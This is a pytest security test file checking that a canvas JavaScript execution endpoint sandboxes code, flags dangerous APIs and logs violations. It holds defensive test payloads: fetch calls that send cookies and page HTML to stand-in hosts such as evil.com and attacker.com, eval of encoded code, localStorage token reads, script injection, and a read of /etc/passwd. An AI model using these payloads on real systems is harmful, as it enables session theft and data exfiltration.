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Canvas JavaScript security integration tests (INTG-13).
Tests cover:
- JavaScript sandboxing
- JavaScript validation
- Dangerous JavaScript blocking
"""
import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from tests.factories.canvas_factory import CanvasAuditFactory
from tests.factories.agent_factory import AutonomousAgentFactory
from core.models import CanvasAudit
from unittest.mock import Mock, patch
import uuid
# Malicious JavaScript payloads
MALICIOUS_JS_PATTERNS = [
# Fetch exfiltration
"fetch('https://evil.com/steal?data='+document.cookie)",
"fetch('http://attacker.com/log', {body: document.body.innerHTML})",
# eval() execution
"eval(atob('YWxlcnQoJ1hTUycp'))",
"eval(userInput)",
# Document cookie access
"document.cookie",
"document['cookie']",
# window.location manipulation
"window.location='https://evil.com'",
"window.location.href = 'https://phishing.com'",
# postMessage exfiltration
"window.postMessage(document.cookie, '*')",
# localStorage/sessionStorage access
"localStorage.getItem('token')",
"sessionStorage['password']",
# DOM manipulation
"document.body.innerHTML = xhr.responseText",
'document.write("<script>alert(1)</script>")',
# Dynamic script creation
"var s = document.createElement('script'); s.src = 'evil.js'; document.head.appendChild(s)",
]
SAFE_JS_PATTERNS = [
"console.log('debug');",
"const x = 5;",
"function add(a, b) { return a + b; }",
"document.querySelector('.test');",
"element.classList.add('active');",
"Array.from(items).map(x => x.id);",
]
class TestJavaScriptSandboxing:
"""Test JavaScript execution sandboxing."""
def test_javascript_execution_isolated(self, client: TestClient, auth_token: str, db_session: Session):
"""Test JavaScript execution is isolated from main process."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
# Try to exit process (should be blocked)
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "process.exit(1)"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block dangerous process access
assert response.status_code in [403, 400, 404, 405]
def test_javascript_no_filesystem_access(self, client: TestClient, auth_token: str, db_session: Session):
"""Test JavaScript cannot access filesystem."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
# Try to read files (should be blocked)
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "require('fs').readFileSync('/etc/passwd')"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block filesystem access
assert response.status_code in [403, 400, 404, 405]
def test_javascript_no_network_access(self, client: TestClient, auth_token: str, db_session: Session):
"""Test JavaScript cannot make network requests."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
# Try to make network request (should be blocked)
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "fetch('https://evil.com/steal')"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block network access
assert response.status_code in [403, 400, 404, 405]
def test_javascript_execution_timeout(self, client: TestClient, auth_token: str, db_session: Session):
"""Test JavaScript execution has timeout."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
# Infinite loop (should timeout)
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "while(true) {}"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should timeout gracefully
assert response.status_code in [200, 201, 408, 500, 404, 405]
class TestJavaScriptValidation:
"""Test JavaScript code validation."""
def test_validate_safe_javascript(self, client: TestClient, auth_token: str, db_session: Session):
"""Test validation allows safe JavaScript."""
canvas_id = str(uuid.uuid4())
response = client.post(
f"/api/canvas/{canvas_id}/validate",
json={
"javascript": "console.log('safe code');"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Validation endpoint may not exist
if response.status_code == 200:
data = response.json()
assert data.get("valid") is True
else:
assert response.status_code == 404
def test_validate_dangerous_apis(self, client: TestClient, auth_token: str, db_session: Session):
"""Test validation detects dangerous APIs."""
canvas_id = str(uuid.uuid4())
dangerous_apis = [
"eval(userInput)",
"Function('return code')",
"document.write(malicious)",
"window.location = 'https://evil.com'",
"document.cookie",
"localStorage.getItem('token')",
]
for api in dangerous_apis:
response = client.post(
f"/api/canvas/{canvas_id}/validate",
json={"javascript": api},
headers={"Authorization": f"Bearer {auth_token}"}
)
if response.status_code == 200:
data = response.json()
# Should flag as dangerous
assert data.get("valid") is False or "dangerous" in str(data).lower()
@pytest.mark.parametrize("safe_code", SAFE_JS_PATTERNS)
def test_safe_patterns_allowed(self, client: TestClient, auth_token: str, safe_code):
"""Test safe JavaScript patterns are allowed."""
canvas_id = str(uuid.uuid4())
response = client.post(
f"/api/canvas/{canvas_id}/validate",
json={"javascript": safe_code},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Validation endpoint may not exist
if response.status_code == 200:
data = response.json()
assert data.get("valid") is not False
class TestDangerousJavaScriptBlocking:
"""Test blocking of dangerous JavaScript patterns."""
@pytest.mark.parametrize("malicious_code", MALICIOUS_JS_PATTERNS)
def test_malicious_patterns_blocked(self, client: TestClient, auth_token: str, malicious_code):
"""Test malicious JavaScript patterns are blocked."""
agent = AutonomousAgentFactory()
db_session = None # Will use fixture
canvas_id = str(uuid.uuid4())
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": malicious_code
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block malicious patterns
assert response.status_code in [403, 400, 404, 405]
def test_eval_blocked(self, client: TestClient, auth_token: str, db_session: Session):
"""Test eval() is blocked."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "eval('alert(1)')"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block eval()
assert response.status_code in [403, 400, 404, 405]
def test_function_constructor_blocked(self, client: TestClient, auth_token: str, db_session: Session):
"""Test Function() constructor is blocked."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "new Function('return malicious')()"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block Function constructor
assert response.status_code in [403, 400, 404, 405]
def test_dom_manipulation_blocked(self, client: TestClient, auth_token: str, db_session: Session):
"""Test dangerous DOM manipulation is blocked."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "document.body.innerHTML = '<script>alert(1)</script>'"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block dangerous DOM manipulation
assert response.status_code in [403, 400, 404, 405]
class TestJavaScriptContentSecurityPolicy:
"""Test JavaScript Content Security Policy."""
def test_csp_restrictions(self, client: TestClient, auth_token: str, db_session: Session):
"""Test CSP headers restrict JavaScript execution."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "console.log('test');"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Check CSP headers in response
if response.status_code in [200, 201]:
csp_header = response.headers.get("Content-Security-Policy", "")
# Should have CSP restrictions
assert isinstance(csp_header, str)
def test_inline_script_blocking(self, client: TestClient, auth_token: str, db_session: Session):
"""Test inline scripts are blocked by CSP."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "<script>alert('inline')</script>"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should block inline scripts
assert response.status_code in [403, 400, 404, 405]
class TestJavaScriptAuditLogging:
"""Test JavaScript security audit logging."""
def test_malicious_javascript_logged(self, client: TestClient, auth_token: str, db_session: Session):
"""Test malicious JavaScript attempts are logged."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "eval(malicious)"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should log security event
audits = db_session.query(CanvasAudit).filter(
CanvasAudit.id == canvas_id
).all()
# Should have audit record for security event
assert len(audits) >= 1
def test_security_violation_metadata(self, client: TestClient, auth_token: str, db_session: Session):
"""Test security violations include metadata."""
agent = AutonomousAgentFactory()
db_session.add(agent)
db_session.commit()
canvas_id = str(uuid.uuid4())
canvas = CanvasAuditFactory(id=canvas_id, agent_id=agent.id)
db_session.add(canvas)
db_session.commit()
response = client.post(
f"/api/canvas/{canvas_id}/execute",
json={
"action": "execute_javascript",
"code": "fetch('https://evil.com')"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Check audit metadata includes security details
audits = db_session.query(CanvasAudit).filter(
CanvasAudit.id == canvas_id
).all()
if audits and audits[0].audit_metadata:
# Should include security violation details
metadata = audits[0].audit_metadata
assert isinstance(metadata, dict)
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